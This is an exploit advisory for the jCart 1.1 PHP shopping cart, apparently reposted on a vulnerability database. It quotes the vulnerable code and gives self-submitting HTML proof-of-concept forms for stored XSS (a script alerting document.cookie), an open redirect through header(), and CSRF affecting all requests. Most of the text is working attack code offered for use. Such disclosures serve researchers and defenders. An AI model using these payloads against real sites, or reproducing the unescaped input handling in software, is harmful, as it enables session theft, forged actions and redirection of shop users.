jCart 1.1 - Multiple XSS/CSRF/Open Redirect Vulnerabilities
<!--
Exploit Title: jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities
Date: 25.07.2010
Author: p0deje
Software Link: http://conceptlogic.com/jcart/
Version: <=1.1
Tested on: OS Independent
CVE : --
-->
<!-- 1. Cross-site Scripting -->
<!--
Vulnerable code snippet:
jcart.php
-------------------------
line 251: $item_name = $_POST[$item_name];
...
line 256: $item_added = $this->add_item($item_id, $item_qty, $item_price, $item_name);
-------------------------
User-supplied input for variable $item_name isn't properly escaped.
Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-relay.php" method="POST">
<input name="my-item-id" value="3" type="hidden">
<input name="my-item-qty" value="1" type="hidden">
<input name="my-item-name" value="<script>alert(document.cookie)</script>" type="hidden">
<input name="my-item-price" value="33.25" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>
<!-- 2. Cross-site Scripting / Open Redirect -->
<!--
Vulnerable code snippet
jcart-gateway.php:
-------------------------
line 41: header('Location: ' . $_POST['jcart_checkout_page']);
-------------------------
User-supplied data is not properly escaped before passing to header() function.
Proof-of-Concept:
-->
<html>
<form action="http://evil.host/jcart-1.1/jcart/jcart-gateway.php" method="POST">
<input name="jcart_checkout_page" value="http://www.google.com" type="hidden">
<input id="payload" name="my-add-button" value="add to cart" class="button" type="submit">
</form>
<script>
document.getElementById('payload').click()
</script>
</html>
<!-- 3. Cross-site Request Forgery -->
<!--
All requests of jCart are vulnerable to CSRF.
Proof-of-Concept goes the same as for the first or the second vulnerability.
-->
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1